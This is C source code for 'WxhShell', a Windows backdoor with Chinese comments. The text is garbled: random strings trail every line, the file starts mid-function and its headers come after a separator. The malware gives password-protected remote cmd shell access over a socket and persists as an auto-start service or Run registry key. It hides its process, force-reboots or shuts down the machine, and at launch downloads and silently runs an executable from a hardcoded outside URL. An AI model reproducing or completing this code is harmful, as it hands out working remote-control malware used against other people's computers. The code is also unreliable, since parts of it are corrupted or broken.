  case 'd': { 21Z}Zj  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); uyr56  
    if(Boot(SHUTDOWN)) }UwDHq=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X"V,3gDG  
    else { 9}e`_z  
    closesocket(wsh); A%H"a+  
    ExitThread(0); HX1RA 5O  
    } 2{!o"6t  
    break; )4oTA@wR  
    } S{cy|QD  
  // 获取shell _YVp$aKDR  
  case 's': { %E q} H  
    CmdShell(wsh); ]^HlI4 z  
    closesocket(wsh); u<`CkYT  
    ExitThread(0); (rfU=E  
    break; 8 VMe#41  
  } zyNg?_SM  
  // 退出 ><o dBM-  
  case 'x': { ,DrE4")4  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 0pP;[7k\  
    CloseIt(wsh); \iFh-?(  
    break; YEGRM$'`  
    } TxZ ^zj  
  // 离开 JGH;&UYP  
  case 'q': { _F|oL|  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); >;Er[Rywr  
    closesocket(wsh); 8,0p14I5;  
    WSACleanup(); 1#H=<iJ  
    exit(1); I_ "1.  
    break; 6 /8?:  
        } $bQ[H[4l  
  } 7hPiPv  
  } Ii"h:GY;\  
$ZSjq  
  // 提示信息 PPiN`GM  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); RJ/4T#b"+  
} ml=tS,  
  } $q`650&S*  
{ETuaFDM   
  return; m,i@  
} Vf S&V*un  
?Rlo<f:Mf  
// shell模块句柄 @1_M's;  
int CmdShell(SOCKET sock) V gLnpPOQ  
{ pWY $aI  
STARTUPINFO si; sJ{S(wpi"  
ZeroMemory(&si,sizeof(si)); msKWb311u  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; F91'5D,u0  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; :q_(=EA  
PROCESS_INFORMATION ProcessInfo;  egur}  
char cmdline[]="cmd"; J[6`$$l0  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); IbFS8 *a\  
  return 0; 'C iV=&3/  
} CAX)AN  
>OP[ qj  
// 自身启动模式 iTf]Pd'  
int StartFromService(void) Z(F`M;1>xI  
{ QMUmPx&  
typedef struct 8G&'ED_&  
{ V\U,PNkZQ  
  DWORD ExitStatus; 9F[k;Uw  
  DWORD PebBaseAddress; 6_KO6O7g  
  DWORD AffinityMask; *&7F(  
  DWORD BasePriority; 9"T&P_   
  ULONG UniqueProcessId; `_`\jd@  
  ULONG InheritedFromUniqueProcessId; Uy  $1X  
}   PROCESS_BASIC_INFORMATION; `;?`XC"m  
v<+5B5"1  
PROCNTQSIP NtQueryInformationProcess; [T|_J$ ;  
KxZup\\:v  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 6Z2a5zO8  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; b#XY.+ *0  
q]}fW)r  
  HANDLE             hProcess; (-'Jf#&X^  
  PROCESS_BASIC_INFORMATION pbi; qX,T X 3  
:xd)]Ns  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); jIpc^iu`,  
  if(NULL == hInst ) return 0; (yh zjN~  
>"}z % #  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); x6-bAf  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); U]!~C 1cmw  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); <d&9`e1Hc  
QQ1|]/)  
  if (!NtQueryInformationProcess) return 0; UBj"m<  
o*\Fj}l-  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); C"X; ,F<  
  if(!hProcess) return 0; x=Ef0v  
3m2hB%SNb  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; -SF *DZ  
tCoT-\Q  
  CloseHandle(hProcess); "9>.,nzt  
ZA1u  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 5 5$J% ;&  
if(hProcess==NULL) return 0; {:peArO  
Zt3Y<3o  
HMODULE hMod; 3b9SyU2  
char procName[255]; 8ux?K5_  
unsigned long cbNeeded; \xtY\q,[  
I=vGS  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); y9/x:n&]  
g`NJ `  
  CloseHandle(hProcess); -Y?C1DbKz  
;s$bVGHr  
if(strstr(procName,"services")) return 1; // 以服务启动 zQPQP`  
!Z0p94L  
  return 0; // 注册表启动 R WfC2$z  
} 295U<  
ysHmi{V~  
// 主模块 pb`!_GmB  
int StartWxhshell(LPSTR lpCmdLine) E:!qnc L:  
{ ,p3moD 3  
  SOCKET wsl; szZ8-Y  
BOOL val=TRUE; 1I^uq>r  
  int port=0; Pr>Pxsr&  
  struct sockaddr_in door; B'@a36  
j$%uip{  
  if(wscfg.ws_autoins) Install(); 3M@!?=| U  
=W*Js%4  
port=atoi(lpCmdLine); f\/'Fy0  
px7<;(I  
if(port<=0) port=wscfg.ws_port; ";>>{lYA.  
&IZthJqV  
  WSADATA data; "{1SDbwmMo  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; JGZxNUr^  
ytsPk2@WR  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   )^D:VY9 2  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 'K8emt$d+  
  door.sin_family = AF_INET; |1rKGDc  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 3lW7auH4Y{  
  door.sin_port = htons(port); &OXnZT3P  
(*XSr Q  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { S1`;2mAf*  
closesocket(wsl); Wwf],Ya  
return 1; Z'@a@Y+  
} mqIcc'6f  
}}cS-p  
  if(listen(wsl,2) == INVALID_SOCKET) { ~8htg8CZ`  
closesocket(wsl); Z: e|~#  
return 1; p1mY@  
} < gtqwH]   
  Wxhshell(wsl); W/?\8AE  
  WSACleanup(); L FncY(b  
3WTNWz#h  
return 0; +hW^wqk/.  
LY? `+/  
} 'u)zQAaw.  
X / {;  
// 以NT服务方式启动 :VB{@ED  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) QE b ^'y  
{ kz UP   
DWORD   status = 0; dh; L!  
  DWORD   specificError = 0xfffffff; HpQuro'Qh  
Gfbeh %  
  serviceStatus.dwServiceType     = SERVICE_WIN32; "T?hIX/p _  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; [!Jd.zm  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; p^yuz (  
  serviceStatus.dwWin32ExitCode     = 0; vnrP;T=^  
  serviceStatus.dwServiceSpecificExitCode = 0; DNu^4#r  
  serviceStatus.dwCheckPoint       = 0; 'Drz6K_KrP  
  serviceStatus.dwWaitHint       = 0; |oL}c!0vs  
$7~T+fmF  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); b;AGw3SF  
  if (hServiceStatusHandle==0) return; -*QxZiKD  
>0kZ-M5  
status = GetLastError(); }CoR$K   
  if (status!=NO_ERROR) GCEcg&s=\S  
{ -76l*=|  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; \]a@ NBv  
    serviceStatus.dwCheckPoint       = 0; yN4K^#  
    serviceStatus.dwWaitHint       = 0; wE4:$+R};  
    serviceStatus.dwWin32ExitCode     = status; nJ]oApb/-  
    serviceStatus.dwServiceSpecificExitCode = specificError; y!,Ly_x$@  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); oOj7y>Nm  
    return; @+,J^[ y  
  } &/}reE*  
w}`TJijl  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; M zWVsV  
  serviceStatus.dwCheckPoint       = 0; <EHgPlQn  
  serviceStatus.dwWaitHint       = 0; j-% vLL/  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 1_aUU,|.  
} &YU; K&  
RF,[1O-\O  
// 处理NT服务事件,比如:启动、停止 Z/p>>SCak  
VOID WINAPI NTServiceHandler(DWORD fdwControl) YH 5jvvOI  
{ .h0@Vs  
switch(fdwControl) Bj-80d,  
{ i 1{Lx)  
case SERVICE_CONTROL_STOP: 2D"n#O`y  
  serviceStatus.dwWin32ExitCode = 0; ZYi."^l  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ,y'E#_cTgQ  
  serviceStatus.dwCheckPoint   = 0; ^^O @ [_  
  serviceStatus.dwWaitHint     = 0; ?aMV{H*Q*  
  { [lmghI!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); bGO[P<<  
  } 5Q9nJC{'NN  
  return;  dkr[B' n  
case SERVICE_CONTROL_PAUSE: Xqz\%&G  
  serviceStatus.dwCurrentState = SERVICE_PAUSED;  3 )bC,  
  break; ^E)*i#."4  
case SERVICE_CONTROL_CONTINUE: Pa8E.<>  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; e)#O-y  
  break; 7jZE(|G-  
case SERVICE_CONTROL_INTERROGATE: h}T+M BA%  
  break; ) Ekd  
}; O>h,u[0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =tS1|_  
} re$xeq\1P?  
;F/yS2p  
// 标准应用程序主函数 ;$\?o  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) _~{Nco7T  
{ s.zfiJ  
)37.H^7  
// 获取操作系统版本  wh A  
OsIsNt=GetOsVer(); f4h|Nn%;  
GetModuleFileName(NULL,ExeFile,MAX_PATH); @lYm2l^  
-$; h+9BO  
  // 从命令行安装 |\ZsoA  
  if(strpbrk(lpCmdLine,"iI")) Install(); ? 0}M'L  
U@6bH@v5  
  // 下载执行文件 ~)ecQ  
if(wscfg.ws_downexe) { g}vOp3 ^  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) s%{8$> 8V.  
  WinExec(wscfg.ws_filenam,SW_HIDE); n)n>|w_  
} ib3 u:  
o `]o(OP  
if(!OsIsNt) { \L-K}U>J  
// 如果时win9x,隐藏进程并且设置为注册表启动 +# 38  
HideProc(); B;3lF ;3`  
StartWxhshell(lpCmdLine); a/n KKhXaM  
} 1feZ`P ;  
else o:p6[SGd  
  if(StartFromService()) XMR$I&;G8  
  // 以服务方式启动 t7t?xk!2  
  StartServiceCtrlDispatcher(DispatchTable); tR! !Q  
else FR7DuH/f)  
  // 普通方式启动 ]d}h`!:  
  StartWxhshell(lpCmdLine); cJ}J4?  
X J+y5at  
return 0; \hm;p  
} ^-*q  
(O$PJLI  
)@IDmz>  
Ve]ufn6  
=========================================== pd3=^ Zi  
#[Z1W8e  
y4V~fg;  
>nqDUGnEo>  
n]15 ~GO.  
3?R56$-+  
" WDM^rjA|j  
5$<\  
#include <stdio.h> k3pY3TA@w+  
#include <string.h>  1\[En/6  
#include <windows.h> %![%wI?  
#include <winsock2.h> ?4[IIX-  
#include <winsvc.h> ![>j`i  
#include <urlmon.h> _SW_I{fjr  
EJ%Kr$51K  
#pragma comment (lib, "Ws2_32.lib") cl`!A2F1G#  
#pragma comment (lib, "urlmon.lib") pX\Y:hCug  
8zOoVO  
#define MAX_USER   100 // 最大客户端连接数 3pV^Oe^9  
#define BUF_SOCK   200 // sock buffer o\#C#NiT  
#define KEY_BUFF   255 // 输入 buffer jMpV c E#  
^|P/D  
#define REBOOT     0   // 重启 L/YEW7M  
#define SHUTDOWN   1   // 关机 ]]EOCGZ"  
*ommU(r8  
#define DEF_PORT   5000 // 监听端口 (3_m[N\F  
:4&q2-  
#define REG_LEN     16   // 注册表键长度 Bb~Q]V=x;  
#define SVC_LEN     80   // NT服务名长度 #Yqj27&  
y{ ?wxg9  
// 从dll定义API hB !>*AsG  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Y`U[Y Hx  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ]1^F  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); y3,'1^lA  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ++m^z` D  
RRasX;zK  
// wxhshell配置信息 HW@r1[Y  
struct WSCFG { ;RElG>#$  
  int ws_port;         // 监听端口 68!W~%?pR  
  char ws_passstr[REG_LEN]; // 口令 6AA "JX  
  int ws_autoins;       // 安装标记, 1=yes 0=no .?Pghqq.  
  char ws_regname[REG_LEN]; // 注册表键名 8+?|4'\`  
  char ws_svcname[REG_LEN]; // 服务名 >l$qE  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 )~Pj 3  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 TTfU(w%&P  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 W/\M9  
int ws_downexe;       // 下载执行标记, 1=yes 0=no FEF $4)ROv  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" IHrG!owf  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Gy3t   
ZJod=^T  
}; #C`IfP./  
,P T5-9 m  
// default Wxhshell configuration l)d(N7HME  
struct WSCFG wscfg={DEF_PORT, uQ_s$@brI  
    "xuhuanlingzhe", =8p *Ijs  
    1, mDG=h6y"V  
    "Wxhshell", e=).0S`*F  
    "Wxhshell", G'dN_6ho3  
            "WxhShell Service", qGYru1  
    "Wrsky Windows CmdShell Service", !e0OGf  
    "Please Input Your Password: ", j@98UZ{g\  
  1, M In6p  
  "http://www.wrsky.com/wxhshell.exe",  &3:U&}I  
  "Wxhshell.exe" d*===~  
    }; >X$I:M<L  
n;w&} g  
// 消息定义模块 <jk.9$\$A  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; (v2.8zrJ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Pi!3wy  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; PIthv [F  
char *msg_ws_ext="\n\rExit."; 1%^d <%,]  
char *msg_ws_end="\n\rQuit."; ^gu;  
char *msg_ws_boot="\n\rReboot..."; RPh8n4&("  
char *msg_ws_poff="\n\rShutdown..."; H*H=a  
char *msg_ws_down="\n\rSave to "; ,xzSFs>2  
pn._u`xMV  
char *msg_ws_err="\n\rErr!"; A $GiO  
char *msg_ws_ok="\n\rOK!"; Aq5@k\[  
h88 IP:bo  
char ExeFile[MAX_PATH]; Ev)aXP  
int nUser = 0; @&4s)&-F  
HANDLE handles[MAX_USER]; 7k==?,LG3  
int OsIsNt; .zMM!l3  
9si,z  
SERVICE_STATUS       serviceStatus; c9<&+  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; LL}b]B[  
Qk_Mx"  
// 函数声明 4pw:O^v  
int Install(void); mz<wYV*  
int Uninstall(void); efnj5|JSV  
int DownloadFile(char *sURL, SOCKET wsh); M9J^;3Lrh  
int Boot(int flag);  M .J  
void HideProc(void); $(PWN6{\r^  
int GetOsVer(void); "?Mf%u1R  
int Wxhshell(SOCKET wsl); XY*KWO  
void TalkWithClient(void *cs); |TE\]  
int CmdShell(SOCKET sock); #2U4}#Mi  
int StartFromService(void); OD~TWT_  
int StartWxhshell(LPSTR lpCmdLine); h5>38Kd  
zr1,A#BV  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); : ~R:[T2P  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Ou'<9m!9  
8g!C'5  
// 数据结构和表定义 xSal=a;k  
SERVICE_TABLE_ENTRY DispatchTable[] = H{4/~Z  
{ G1`H H&  
{wscfg.ws_svcname, NTServiceMain}, Dn9AOi!  
{NULL, NULL} Ac@ zTK6>  
}; (9X>E+0E  
~H+W[r}  
// 自我安装 g0n 5&X  
int Install(void) 5uJ{#Zd  
{ ?{bAyh/  
  char svExeFile[MAX_PATH]; B<A=U r  
  HKEY key; kpU-//lk+  
  strcpy(svExeFile,ExeFile); i( l'f#  
Ksu_4dE  
// 如果是win9x系统,修改注册表设为自启动 J91O$szA  
if(!OsIsNt) { *G,'V,?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { V.8pxD5 s  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); uSRvc0R\  
  RegCloseKey(key); ?7:?OX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #FHyP1uyc  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +mqz)-x  
  RegCloseKey(key); Wz^M*=,  
  return 0; ZGHh!Ds;  
    } ,cqZb0VP{t  
  } NxyrP**j  
} VIi/=mO]  
else { 5Tt%<#4  
UFED*al#  
// 如果是NT以上系统,安装为系统服务 t;~H6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ?[ts<Ltp  
if (schSCManager!=0) 5jYZ+OB  
{ 52L* :|b  
  SC_HANDLE schService = CreateService 2' 8$I}h  
  ( ]("5O V5  
  schSCManager, <g^!xX<r?  
  wscfg.ws_svcname, W,[b:[~v  
  wscfg.ws_svcdisp, NP {O  
  SERVICE_ALL_ACCESS, L< gp "e  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,  xlH?J;$  
  SERVICE_AUTO_START, %](H?'H  
  SERVICE_ERROR_NORMAL, 8O)!{gB  
  svExeFile, ]q2g[D o5  
  NULL, mR? } gR  
  NULL, hSvA dT]m  
  NULL, #n[1%8l,  
  NULL, #{t?[JUn  
  NULL M_4:~&N$  
  ); d/Z258  
  if (schService!=0) N!`8-ap\^  
  { r:&"#F   
  CloseServiceHandle(schService); _v+mjDdQ  
  CloseServiceHandle(schSCManager); $|2@of.  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); A-"}aCmik  
  strcat(svExeFile,wscfg.ws_svcname); 6#JdQ[IP6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { &d`z|Gx9  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ? 8d7/KZO  
  RegCloseKey(key); /cy'% .!  
  return 0; n tfwR#j  
    } .o2]ndT/J  
  } eqyZ|6  
  CloseServiceHandle(schSCManager); mh#dnxeR  
} r*'X]q|L+  
} }Ot I8;>  
D{](5?$`|  
return 1; .=VtMi$n  
} CTbz?Kn  
CZ/bO#~  
// 自我卸载 1D0_k  
int Uninstall(void) K$H>/*&'~  
{ Ch1+YZG  
  HKEY key; nC3U%*l  
[Z5Lgg&  
if(!OsIsNt) { }@ *Me+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { OZF^w[ `w  
  RegDeleteValue(key,wscfg.ws_regname); idC4yH42  
  RegCloseKey(key); UH<nc;.B  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { G36}4  
  RegDeleteValue(key,wscfg.ws_regname); &AMW?vO  
  RegCloseKey(key); w>IYrSaa>  
  return 0; Ufz& 2  
  } 8QeM6;^/5  
} S^GB\uJ  
} .qyk[O  
else { x9#>0 4s  
-$(,&qyk  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); NX$S^Z\QI  
if (schSCManager!=0) v5|X=B>&>  
{ ) 0x* >;"o  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); |5wuYG  
  if (schService!=0) 74c1i  
  { :<OInKE>Cx  
  if(DeleteService(schService)!=0) { BX|+"AeF  
  CloseServiceHandle(schService); ?-g=Rfpag  
  CloseServiceHandle(schSCManager); `eIX*R   
  return 0; B)F2SK<@  
  } kU8V,5  
  CloseServiceHandle(schService); <qzHMy Ai  
  } T/ CI?sn  
  CloseServiceHandle(schSCManager); zaX!f ~;"  
} uf* sI  
} eH2.,wY1  
%C= {\]-2~  
return 1; +igFIoHTM  
} krTH<- P  
" }@QL`  
// 从指定url下载文件 Q{Gi**<  
int DownloadFile(char *sURL, SOCKET wsh) .`!|^h%0  
{ l1~>{:mq  
  HRESULT hr; B.&ly/d  
char seps[]= "/"; k/vE|  
char *token; m:<cLc :.  
char *file; x.r~e)x=  
char myURL[MAX_PATH]; <lM]c  
char myFILE[MAX_PATH]; vrsO]ctI  
^5biD9>M  
strcpy(myURL,sURL); h3issi+N  
  token=strtok(myURL,seps); M:OY8=V  
  while(token!=NULL) w \pD'1e  
  { AigL:4[  
    file=token; :N#gNtC)b  
  token=strtok(NULL,seps); A%n l@`s,  
  } 9rX[z :  
h"KN)xi$  
GetCurrentDirectory(MAX_PATH,myFILE); "4LYqDe  
strcat(myFILE, "\\"); ]*pALT6  
strcat(myFILE, file); t &u,Od  
  send(wsh,myFILE,strlen(myFILE),0); VAc-RaA  
send(wsh,"...",3,0); O qDLb  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); $=n|MbFl  
  if(hr==S_OK) }U'fPYYi8  
return 0; pYJv|`+  
else OWCd$c_(  
return 1; E9 {Gaa/{  
.eW}@1+[;  
} AFL*a*  
^r^c MksB*  
// 系统电源模块 w-[WJ:2.  
int Boot(int flag) ,U2 /J  
{ IuTZ2~  
  HANDLE hToken; 0X#tt`;  
  TOKEN_PRIVILEGES tkp; J%EbJ5p<QF  
5xP\6Nx6&5  
  if(OsIsNt) { 0 8vA;6zt  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); M cE$=Vv  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); }4Lv-9s,  
    tkp.PrivilegeCount = 1; BOn2`|oLuF  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; {) 4D1  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); @! ^c@  
if(flag==REBOOT) { q~.\NKc  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) _h7!  
  return 0; .Xh^L  
} \?h +  
else { ^x %yIS  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) mkTf}[O  
  return 0; u&".kk  
} BqK|4-Pf  
  } +"Ek? )?  
  else { ( }5k"9Z  
if(flag==REBOOT) { N%/Qc hu  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) <WtX> \]l(  
  return 0; c*K-?n9YMz  
} .Ff;St  
else { :51Q~5k4  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ry3;60E \)  
  return 0; s#?Y^bgH  
} m!a<\0^  
} lQ!ukl)  
;2kiEATQ 1  
return 1; dgE|*1/0  
} bSU9sg\  
$jo}?Y+  
// win9x进程隐藏模块 gCz^JM  
void HideProc(void) SoS[yr  
{ [Nr6 qxWg  
-4Zf0r1u  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); _;W}_p}q{  
  if ( hKernel != NULL ) W@AZ<(RI:  
  { h" Yi'  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); j\f;zb?F  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); .@JXV $Z  
    FreeLibrary(hKernel); B4pheKZ2  
  } BQ,]]}e43z  
0!o&=Qh  
return; L{N9h1]  
} $T tCVR  
>&RpfE[  
// 获取操作系统版本 \evK.i*KfA  
int GetOsVer(void) ?Q="w5OOD  
{ w '~f Z*  
  OSVERSIONINFO winfo; c_x6FoE;L  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Ti#2D3  
  GetVersionEx(&winfo); 6Y)'p .+g  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) &48wa^d  
  return 1; bk}.^m!  
  else Dsw(ti`@  
  return 0; ^, q\S  
} D@!`b6  
lE`hC#m  
// 客户端句柄模块 0SwWLq  
int Wxhshell(SOCKET wsl) o>311(:  
{ NcZ6!wWdE  
  SOCKET wsh; `]#DdJ_|  
  struct sockaddr_in client; Z<;<!+,  
  DWORD myID; `fu(  
`XB(d@%  
  while(nUser<MAX_USER) z^gf@r  
{ P7&a~N$T6W  
  int nSize=sizeof(client); b|u4h9  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); %L=ro qz  
  if(wsh==INVALID_SOCKET) return 1; 79n,bb5  
]BP"$rs  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ={~`0,  
if(handles[nUser]==0) %g^dB M#  
  closesocket(wsh); qtnLQl"M  
else K8XXO"  
  nUser++; (zwxrOS  
  } n AQB  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); `E8m> q Ss  
yP :>vFd7  
  return 0; S)C =Q~&  
} QY8I_VF  
e]!C Aj7uS  
// 关闭 socket T-xcd  
void CloseIt(SOCKET wsh) 2/ PaXI/Z  
{ _Xlf}BE  
closesocket(wsh); [(B A:x1  
nUser--; <8|vj 2d2  
ExitThread(0); -A(] ",*J  
} Fx~=mYU  
$u|p(E:*  
// 客户端请求句柄 I;qeDCM  
void TalkWithClient(void *cs) @2v L'6  
{ GC?\GV  
r50}j  
  SOCKET wsh=(SOCKET)cs; _ M8Q%  
  char pwd[SVC_LEN]; FTI[YR8?Y  
  char cmd[KEY_BUFF];  Xt(w+  
char chr[1]; Bcg\p}  
int i,j; 0t*JP  
eh2w7 @7Q  
  while (nUser < MAX_USER) { \m1r(*Ar  
k|F<?:C  
if(wscfg.ws_passstr) { RWP`#(&/&  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); n7i;^=9 mM  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); uhSRl~tn  
  //ZeroMemory(pwd,KEY_BUFF); / *Z( ;-  
      i=0; ajq[ID  
  while(i<SVC_LEN) { +yiGZV/X  
EjV,&7o)  
  // 设置超时 mg[=~&J^  
  fd_set FdRead;  poGF  
  struct timeval TimeOut; @\e2Q& O  
  FD_ZERO(&FdRead); 0V`s 3,k  
  FD_SET(wsh,&FdRead); &, hhH_W  
  TimeOut.tv_sec=8; {(U?)4@  
  TimeOut.tv_usec=0; rY4{,4V  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); EpB2?XGA  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); JOS,>;;F4  
y-m<&{q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); H{ p   
  pwd=chr[0]; ;f#%0W{":  
  if(chr[0]==0xd || chr[0]==0xa) { hn{]Q@(I  
  pwd=0; FU kO$jnO  
  break; 6Db1mvSe  
  } $YSAD\a<  
  i++; (zIP@ H  
    } xPWzm hF  
K??%Qh5l+C  
  // 如果是非法用户,关闭 socket f]L`^WU  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 7tP?([o%F  
} 58\Rl  
Gu}|CFL\  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); S;sggeP7,  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ``kiAKMy  
#n2'N^t  
while(1) { _) k=F=  
/) sA{q 4  
  ZeroMemory(cmd,KEY_BUFF); e` Z;}& ,  
3[B*l@}j  
      // 自动支持客户端 telnet标准   +dq&9N/  
  j=0; 6d&dB  
  while(j<KEY_BUFF) { CE]0OY  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _TfG-Ae  
  cmd[j]=chr[0]; u&yAMWl  
  if(chr[0]==0xa || chr[0]==0xd) { :IlRn`9X`  
  cmd[j]=0; j&,,~AZm  
  break; dP63bV  
  } va F^[/ (g  
  j++; Q]]}8l2  
    } ,r~pf (nz  
SxMmy  
  // 下载文件 A]L;LkEM  
  if(strstr(cmd,"http://")) { Dg3S n|!f  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); !2R~/Rg  
  if(DownloadFile(cmd,wsh)) rOQ@(aUAZ  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Bd jo3eX  
  else 9Jd{HI=  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qp3J/(F  
  } cdiDfiE  
  else { ]D_"tQ?i  
>a/]8A  
    switch(cmd[0]) { 2yZ/'}Mw  
  &XAG| #  
